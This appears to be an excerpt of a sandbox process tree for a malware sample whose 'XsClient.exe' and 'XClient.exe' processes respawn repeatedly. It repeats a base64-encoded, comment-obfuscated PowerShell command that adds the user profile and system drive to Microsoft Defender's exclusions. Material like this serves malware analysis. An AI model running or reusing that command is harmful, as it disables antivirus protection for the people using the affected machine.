        "C:\Users\Admin\XsClient.exe"
        74⤵
        
        PID:11412
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        74⤵
        
        PID:11404
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        74⤵
        
        PID:11388
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        73⤵
        
        PID:10400
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        72⤵
        
        PID:10972
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        72⤵
        
        PID:10212
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        71⤵
        
        PID:10788
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        71⤵
        
        PID:11140
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        71⤵
        
        PID:3900
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        70⤵
        
        PID:9556
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        70⤵
        
        PID:11084
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        69⤵
        
        PID:11160
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        69⤵
        
        PID:7004
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        68⤵
        
        PID:10284
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        68⤵
        
        PID:10508
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        68⤵
        
        PID:10592
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        67⤵
        
        PID:10676
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        66⤵
        
        PID:10868
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        66⤵
        
        PID:10964
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        65⤵
        
        PID:10352
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        65⤵
        
        PID:10364
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        64⤵
        
        PID:11020
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        64⤵
        
        PID:10948
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        63⤵
        
        PID:10544
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        63⤵
        
        PID:10536
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        63⤵
        
        PID:10520
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        62⤵
        
        PID:8392
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        62⤵
        
        PID:8488
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        62⤵
        
        PID:7096
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        61⤵
        
        PID:4852
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        61⤵
        
        PID:9692
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        59⤵
        
        PID:4652
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        58⤵
        
        PID:7956
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        58⤵
        
        PID:2348
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        57⤵
        
        PID:9640
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        57⤵
        
        PID:1488
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        56⤵
        
        PID:9656
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        56⤵
        
        PID:9172
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        56⤵
        
        PID:10148
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        55⤵
        
        PID:10120
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        54⤵
        
        PID:9712
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        54⤵
        
        PID:5524
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        54⤵
        
        PID:9720
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        53⤵
        
        PID:10216
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        53⤵
        
        PID:10208
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        53⤵
        
        PID:10196
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        52⤵
        
        PID:9856
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        52⤵
        
        PID:9848
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        52⤵
        
        PID:9836
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        51⤵
        
        PID:9512
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        51⤵
        
        PID:9480
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        50⤵
        
        PID:8252
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        50⤵
        
        PID:9068
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        49⤵
        
        PID:2896
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        49⤵
        
        PID:1316
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        48⤵
        
        PID:3920
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        47⤵
        
        PID:8728
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        47⤵
        
        PID:5512
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        47⤵
        
        PID:8772
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        46⤵
        
        PID:2992
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        46⤵
        
        PID:7956
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        46⤵
        
        PID:2796
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        45⤵
        
        PID:7948
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        44⤵
        
        PID:1316
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        44⤵
        
        PID:8232
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        44⤵
        
        PID:504
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        43⤵
        
        PID:8992
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        43⤵
        
        PID:8628
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        42⤵
        
        PID:8572
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        42⤵
        
        PID:8968
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        42⤵
        
        PID:8964
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        41⤵
        
        PID:3176
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        41⤵
        
        PID:8304
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        41⤵
        
        PID:8296
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        40⤵
        
        PID:8980
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        40⤵
        
        PID:8972
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        39⤵
        
        PID:8484
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        39⤵
        
        PID:8476
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        39⤵
        
        PID:8464
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        38⤵
        
        PID:8124
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        38⤵
        
        PID:7824
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        38⤵
        
        PID:8080
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        37⤵
        
        PID:7516
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        37⤵
        
        PID:5548
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        36⤵
        
        PID:2424
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        36⤵
        
        PID:7372
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        35⤵
        
        PID:6260
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        35⤵
        
        PID:7416
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        34⤵
        
        PID:7600
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        34⤵
        
        PID:6796
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        34⤵
        
        PID:6592
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        33⤵
        
        PID:7820
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        32⤵
        
        PID:6504
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        32⤵
        
        PID:7312
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        31⤵
        
        PID:7928
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        31⤵
        
        PID:352
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        31⤵
        
        PID:5704
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        30⤵
        
        PID:7228
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        30⤵
        
        PID:7192
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        30⤵
        
        PID:7408
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        29⤵
        
        PID:8084
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        29⤵
        
        PID:8076
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        28⤵
        
        PID:7776
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        28⤵
        
        PID:7768
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        28⤵
        
        PID:7760
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        27⤵
        
        PID:7504
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        27⤵
        
        PID:7484
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        26⤵
        
        PID:524
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        26⤵
        
        PID:6428
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
